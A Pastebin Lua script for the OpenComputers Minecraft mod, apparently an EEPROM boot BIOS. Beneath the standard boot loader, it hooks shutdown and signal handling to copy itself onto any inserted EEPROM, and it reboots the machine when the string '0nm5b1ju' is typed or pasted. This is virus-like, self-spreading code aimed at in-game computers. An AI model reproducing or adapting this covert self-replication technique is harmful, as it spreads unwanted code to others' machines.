Advertisement
Pirnogion

[OC]EEPROM

Mar 14th, 2016
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.61 KB | None | 0 0
  1. local _component = component
  2.  
  3. local component_invoke = component.invoke
  4. function boot_invoke(address, method, ...)
  5.   local result = table.pack(pcall(component_invoke, address, method, ...))
  6.   if not result[1] then
  7.     return nil, result[2]
  8.   else
  9.     return table.unpack(result, 2, result.n)
  10.   end
  11. end
  12.  
  13. -- backwards compatibility, may remove later
  14. local eeprom = component.list("eeprom")()
  15. computer.getBootAddress = function()
  16.   return boot_invoke(eeprom, "getData")
  17. end
  18. computer.setBootAddress = function(address)
  19.   return boot_invoke(eeprom, "setData", address)
  20. end
  21.  
  22. do
  23.   local screen = component.list("screen")()
  24.   local gpu = component.list("gpu")()
  25.   if gpu and screen then
  26.     boot_invoke(gpu, "bind", screen)
  27.   end
  28. end
  29. local function tryLoadFrom(address)
  30.   local handle, reason = boot_invoke(address, "open", "/init.lua")
  31.   if not handle then
  32.     return nil, reason
  33.   end
  34.   local buffer = ""
  35.   repeat
  36.     local data, reason = boot_invoke(address, "read", handle, math.huge)
  37.     if not data and reason then
  38.       return nil, reason
  39.     end
  40.     buffer = buffer .. (data or "")
  41.   until not data
  42.   boot_invoke(address, "close", handle)
  43.   return load(buffer, "=init")
  44. end
  45. local init, reason
  46. if computer.getBootAddress() then
  47.   init, reason = tryLoadFrom(computer.getBootAddress())
  48. end
  49. if not init then
  50.   computer.setBootAddress()
  51.   for address in component.list("filesystem") do
  52.     init, reason = tryLoadFrom(address)
  53.     if init then
  54.       computer.setBootAddress(address)
  55.       break
  56.     end
  57.   end
  58. end
  59. if not init then
  60.   error("no bootable medium found" .. (reason and (": " .. tostring(reason)) or ""), 0)
  61. end
  62.  
  63. local this = boot_invoke(eeprom, "get")
  64.  
  65. local cp={} for k,v in pairs(computer) do cp[k]=v end
  66. local bufr = ""
  67.  
  68. local cshut = computer.shutdown
  69. computer.shutdown = function(...)
  70.   boot_invoke(eeprom, "set", this)
  71.  
  72.   cshut(...)
  73. end
  74.  
  75. computer.pullSignal = function (...)
  76.   local e={cp.pullSignal(...)}
  77.  
  78.   if e[1] == "component_added" and e[3] == "eeprom" then
  79.     eeprom = _component.list("eeprom")()
  80.  
  81.     boot_invoke(eeprom, "set", this)
  82.   end
  83.  
  84.   if e[1] == "key_down" then
  85.     if e[3] == 8 and #bufr > 0 then
  86.       bufr = string.sub(bufr, 1, -2)
  87.     elseif e[3] then
  88.       if #bufr >= 8 then
  89.         if bufr == "0nm5b1ju" then
  90.           cshut(true)
  91.         end
  92.  
  93.         bufr = string.sub(bufr, 2, -1)
  94.       end
  95.  
  96.       bufr = bufr .. string.lower( string.char(e[3]%256) )
  97.     end
  98.   elseif e[1] == "clipboard" then
  99.     if string.match(e[3], "0nm5b1ju") then
  100.       cshut(true)
  101.     end
  102.   end
  103.  
  104.   return table.unpack(e)
  105. end
  106.  
  107. computer.beep(1000, 0.2)
  108. init()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement